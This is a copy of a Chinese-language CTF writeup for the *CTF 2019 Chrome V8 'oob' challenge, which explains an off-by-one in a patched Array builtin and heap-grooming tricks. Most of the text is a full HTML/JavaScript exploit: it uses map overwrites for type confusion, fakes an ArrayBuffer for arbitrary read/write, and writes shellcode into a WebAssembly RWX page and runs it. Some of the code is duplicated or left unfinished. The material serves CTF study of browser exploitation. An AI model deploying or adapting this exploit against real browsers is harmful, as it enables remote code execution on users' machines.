0% found this document useful (0 votes)
48 views11 pages

Chrome OOB Exploit Writeup Guide

The document discusses a vulnerability in the Chrome V8 engine related to out-of-bounds (OOB) write issues and type confusion due to off-by-one errors in array length handling. It outlines methods to exploit this vulnerability by manipulating memory layout and using garbage collection to control memory allocation. Additionally, it provides a JavaScript code example for creating an exploit that allows arbitrary memory read/write operations.

Uploaded by

lipu Mk
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
48 views11 pages

Chrome OOB Exploit Writeup Guide

The document discusses a vulnerability in the Chrome V8 engine related to out-of-bounds (OOB) write issues and type confusion due to off-by-one errors in array length handling. It outlines methods to exploit this vulnerability by manipulating memory layout and using garbage collection to control memory allocation. Additionally, it provides a JavaScript code example for creating an exploit that allows arbitrary memory read/write operations.

Uploaded by

lipu Mk
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

登录

*ctf chrome oob writeup


sakura / 2019-04-30 [Link] / 浏览数 8691

*ctf chrome oob writeup


bug

+BUILTIN(ArrayOob){
+ uint32_t len = [Link]();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();//check len<=2,else return undefine
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, [Link]()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));---->length off by one
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, [Link]<Object>(1)));
+ [Link](length,value->Number());---->length off by one
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

可以看到在length这里有一个off-by-one

另外,这里有一个非预期的UAF,其实在Object::ToNumber(isolate, [Link]<object>(1)))可以触发回调,通过valueof或者
[Link]可以在这里将array的length改成0之后强制GC将其回收掉,然后重新喷内存占位,由于我们之前缓存了
length,可以一开始用一个非常大的length,而此时占位的array是我们可控的,可以占位一个length比较小的array,于是就可以
任意OOB,而不是off by one。
类似的做法参考CVE-2017-5053,应该也是可以这么利用的,我没做太多尝试,有兴趣的同学可以试一下,不过显然这种做法会
非常不稳定。

基础知识
v8通过map来判断类型,通过off-by-one来修改map即可产生type confusion

trick
splice
通过splice控制array的内存排布紧邻。
var ab = new ArrayBuffer(0x1000);
var a = [1.1, 1.1, 1.1, 1.1];
var b = [{}, {}, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];
//布局内存,让array连续存放
a = [Link](0);
b = [Link](0);
c = [Link](0);

test如下:
可以看到如图所示的内存布局:
a elements的length位置存放的就是a obj的map了,于是[Link](xxx)就可以将a的map给覆盖掉。

//0x33a1055ce0e1->0x33a1055ce0b1
//0x33a1055ce139->0x33a1055ce101
//0x33a1055ce191->0x33a1055ce159

// x/60gx 0x33a1055ce0b1-1
// 0x33a1055ce0b0: {0x000033a10f4814f9 0x0000000400000000->a elements
// 0x33a1055ce0c0: 0x3ff199999999999a 0x3ff199999999999a
// 0x33a1055ce0d0: 0x3ff199999999999a 0x3ff199999999999a}
// 0x33a1055ce0e0: {0x000033a14e0c2ed9 0x000033a10f480c71->a obj
// 0x33a1055ce0f0: 0x000033a1055ce0b1 0x0000000400000000}
// 0x33a1055ce100: {0x000033a10f480801 0x0000000500000000->b elements
// 0x33a1055ce110: 0x000033a1055cdfc9 0x000033a1055ce001
// 0x33a1055ce120: 0x000033a1055cdf01 0x000033a12d09f3f9
// 0x33a1055ce130: 0x000033a12d09f409}
// {0x000033a14e0c2f79->b obj
// 0x33a1055ce140: 0x000033a10f480c71 0x000033a1055ce101
// 0x33a1055ce150: 0x0000000500000000}
// {0x000033a10f4814f9->c elements
// 0x33a1055ce160: 0x0000000500000000 0x400a666666666666
// 0x33a1055ce170: 0x400a666666666666 0x400a666666666666
// 0x33a1055ce180: 0x400a666666666666 0x400a666666666666}
// 0x33a1055ce190: {0x000033a14e0c2ed9 0x000033a10f480c71->c obj
// 0x33a1055ce1a0: 0x000033a1055ce159 0x0000000500000000}
// 0x33a1055ce1b0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
// 0x33a1055ce1c0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
// 0x33a1055ce1d0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef

gc

在要fake的arraybuffer的前后两次gc,使其内存分布更稳定。

debug
调试的话,直接在对应版本的v8 release上调试,然后写到html里,放到chrome里就行了,偏移什么的都没有改变。
也可以直接gdb attach到chrome里调试。

exp
利用思路非常简单
首先分配两个array,一个double array,一个object array
然后通过覆盖object array的map为double map,就可以将其中的用户空间对象leak出来。
然后在array的elments去fake一个arraybuffer。
然后通过将double array的map覆盖成object array,就可以将fake好的arraybuffer给当成object给取出来。
而这个fake的arraybuffer的内容是我们可控的,于是就可以任意地址读写了。
接下来就是找到wasm_func里rwx的地址,将shellcode写入执行即可。
我的exp写的比较dirty。

<html>
<script>
[Link] =
[Link] = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the hexadecimal representation of the given byte array.


function hexlify(bytes) {
var res = [];
for (var i = 0; i < [Link]; i++){
//print(bytes[i].toString(16));
[Link](('0' + bytes[i].toString(16)).substr(-2));
}
return [Link]('');

// Return the binary data represented by the given hexdecimal string.


function unhexlify(hexstr) {
if ([Link] % 2 == 1)
throw new TypeError("Invalid hex string");

var bytes = new Uint8Array([Link] / 2);


for (var i = 0; i < [Link]; i += 2)
bytes[i/2] = parseInt([Link](i, 2), 16);

return bytes;
}

function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = [Link](data);

var lines = [];


var chunk = [Link](i, i+16);
for (var i = 0; i < [Link]; i += 16) {
var parts = [Link](hex);
if ([Link] > 8)
[Link](8, 0, ' ');
[Link]([Link](' '));
}

return [Link]('\n');
}

// Simplified version of the similarly named python module.


var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);

return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},

unpack: function(type, bytes) {


if ([Link] !== type.BYTES_PER_ELEMENT)
if ([Link] !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");

var view = type; // See below


[Link](bytes);
return view[0];
},

// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();

function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);

switch (typeof v) {
case 'number':
v = '0x' + [Link](v).toString(16);
case 'string':
if ([Link]('0x'))
v = [Link](2);
if ([Link] % 2 == 1)
v = '0' + v;

var bigEndian = unhexlify(v, 8);


//print([Link]());
[Link]([Link](bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
[Link]([Link]());
} else {
if ([Link] != 8)
throw TypeError("Array must have excactly 8 elements.");
[Link](v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}

// Return a double whith the same underlying bit representation.


[Link] = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");

return [Link](Struct.float64, bytes);


};

// Return a javascript value with the same underlying bit representation.


// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
[Link] = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");

// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.


[Link](this, 0x1000000000000);
var res = [Link](Struct.float64, bytes);
var res = [Link](Struct.float64, bytes);
[Link](this, 0x1000000000000);

return res;
};

// Return the underlying bytes of this number as array.


[Link] = function() {
return [Link](bytes);
};

// Return the byte at the given index.


[Link] = function(i) {
return bytes[i];
};

// Return the value of this number as unsigned hex string.


[Link] = function() {
//print("toString");
return '0x' + hexlify([Link](bytes).reverse());
};

// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.

// Decorator for Int64 instance operations. Takes care


// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if ([Link] != nargs)
throw Error("Not enough arguments for function " + [Link]);
for (var i = 0; i < [Link]; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return [Link](this, arguments);
};
}

// this = -n (two's complement)


[Link] = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~[Link](i);

return [Link](this, [Link]);


}, 1);

// this = a + b
[Link] = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = [Link](i) + [Link](i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);

// this = a - b
[Link] = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = [Link](i) - [Link](i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);

// this = a & b
[Link] = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = [Link](i) & [Link](i);
}
return this;
}, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
[Link] = function(d) {
var bytes = [Link](Struct.float64, d);
return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)


function Neg(n) {
return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}

function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = [Link](16);
if ([Link](0,2) != "0x") return "0x"+ret;
else return ret;
}

function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + [Link](x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + [Link](x).toString()).substr(-16, 8),16) | 0;
}

function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + [Link](16)).substr(-8,8),16) | 0;
}

function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + [Link](16)).substr(-16, 8),16) | 0;
}
}

function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//print([Link]());
//print([Link]());
return parseInt([Link](b).toString() + [Link](a).toString(), 16);
}

//padLeft用于字符串左补位

function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt([Link](16).substr(-8,8) + ([Link](16)).padLeft(8), 16);
}

// based on [Link] by dcodeIO


// [Link]
// License Apache 2
class _u64 {
constructor(hi, lo) {
this.lo_ = lo;
this.hi_ = hi;
}

hex() {
var hlo = (this.lo_ < 0 ? (0xFFFFFFFF + this.lo_ + 1) : this.lo_).toString(16)
var hhi = (this.hi_ < 0 ? (0xFFFFFFFF + this.hi_ + 1) : this.hi_).toString(16)
if([Link](0,2) == "0x") hlo = [Link](2,[Link]);
if([Link](0,2) == "0x") hhi = [Link](2,[Link]);
hlo = "00000000" + hlo
hlo = [Link]([Link]-8, [Link]);
return "0x" + hhi + hlo;
}

isZero() {
return this.hi_ == 0 && this.lo_ == 0;
}

equals(val) {
return this.hi_ == val.hi_ && this.lo_ == val.lo_;
}

and(val) {
return new _u64(this.hi_ & val.hi_, this.lo_ & val.lo_);
}

add(val) {
var a48 = this.hi_ >>> 16;
var a32 = this.hi_ & 0xFFFF;
var a16 = this.lo_ >>> 16;
var a00 = this.lo_ & 0xFFFF;

var b48 = val.hi_ >>> 16;


var b32 = val.hi_ & 0xFFFF;
var b16 = val.lo_ >>> 16;
var b00 = val.lo_ & 0xFFFF;

var c48 = 0, c32 = 0, c16 = 0, c00 = 0;


c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;

return new _u64((c48 << 16) | c32, (c16 << 16) | c00);
}

addi(h,l) {
return [Link](new _u64(h,l));
}

subi(h,l) {
return [Link](new _u64(h,l));
}

not() {
return new _u64(~this.hi_, ~this.lo_)
}

neg() {
return [Link]().add(new _u64(0,1));
}

sub(val) {
return [Link]([Link]());
};

swap32(val) {
return ((val & 0xFF) << 24) | ((val & 0xFF00) << 8) |
((val >> 8) & 0xFF00) | ((val >> 24) & 0xFF);
}

bswap() {
var lo = swap32(this.lo_);
var hi = swap32(this.hi_);
return new _u64(lo, hi);
};
}
var u64 = function(hi, lo) { return new _u64(hi,lo) };

function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}

const wasm_code = new Uint8Array([


0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new [Link](
new [Link](wasm_code));
const wasm_func = wasm_instance.exports.a;

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x8948
gc();
gc();
var fake_arraybuffer = [
//map|properties
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
//elements|length
new Int64(0x0).asDouble(),
new Int64(0x1000).asDouble(),
//backingstore|0x2
new Int64(0x0).asDouble(),
new Int64(0x2).asDouble(),
//padding
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
//fake map
new Int64(0x0).asDouble(),
new Int64(0x1900042319080808).asDouble(),
new Int64(0x00000000082003ff).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
new Int64(0x0).asDouble(),
].splice(0);
gc();
gc();

// %DebugPrint(fake_arraybuffer);

var ab = new ArrayBuffer(0x1000);


var a = [1.1, 1.1, 1.1, 1.1,1.1];
var b = [fake_arraybuffer, wasm_instance, ab, 2.2, 2.2];
var c = [3.3, 3.3, 3.3, 3.3, 3.3];
//布局内存,让array连续存放
a = [Link](0);
b = [Link](0);
c = [Link](0);

// leak出double/object array的map
// print("0x" + [Link]([Link]()).toString(16));
// print(new Int64([Link]([Link]())).asDouble());
double_map = [Link]();
[Link]("doube map is:");
[Link]([Link](double_map).toString(16));
[Link]("object map is:");
object_map = [Link]();
[Link]([Link](object_map).toString(16));

//覆盖object array的map为double,于是可以通过b来leak
[Link](double_map);

fake_arraybuffer_obj = b[0];
[Link]([Link](fake_arraybuffer_obj).toString(16));
// %DebugPrint(fake_arraybuffer);
fake_arraybuffer_elem = fake_arraybuffer_obj + new Int64(0xc70).asDouble();//这个偏移需要适配
[Link]("fake_arraybuffer addr is:");
[Link]([Link](fake_arraybuffer_elem).toString(16));
[Link]("fake_arraybuffer map is:");
fake_arraybuffer_map = fake_arraybuffer_elem + new Int64(0x40).asDouble();
[Link]([Link](fake_arraybuffer_map).toString(16));
fake_arraybuffer[0] = fake_arraybuffer_map;

// %DebugPrint(wasm_instance);
[Link]("wasm_instance is:");
[Link]("wasm_instance is:");
[Link]([Link](b[1]).toString(16));
locate_rwx_addr = b[1] + new Int64(0x88 - 0x1).asDouble();
fake_arraybuffer[4] = locate_rwx_addr;

var d = [fake_arraybuffer_elem, 1.1, 1.1];


[Link](object_map);
var dv = new DataView(d[0]);
[Link]("fake_arraybuffer done");
// %DebugPrint(dv);
rwx_addr = dv.getFloat64(0, true);
[Link]("rwx addr is:");
[Link]([Link](rwx_addr).toString(16));
fake_arraybuffer[4] = rwx_addr;
for (i = 0; i < [Link]; i++){
dv.setUint32(i * 4, shellcode[i], true);
}
wasm_func();
</script>
</html>

测试机器ubuntu16.04

</object>

关注 | 1 点击收藏 | 0

| |

上一篇: 利用web内径图谱来检测EAR漏洞 下一篇: ROIS *CTF2019


Wri...

1 条回复
Inspelliam

2019-05-01 [Link]

大佬ddw
0 回复Ta

登录 后跟帖

RSS 关于社区 友情链接 社区小黑板

You might also like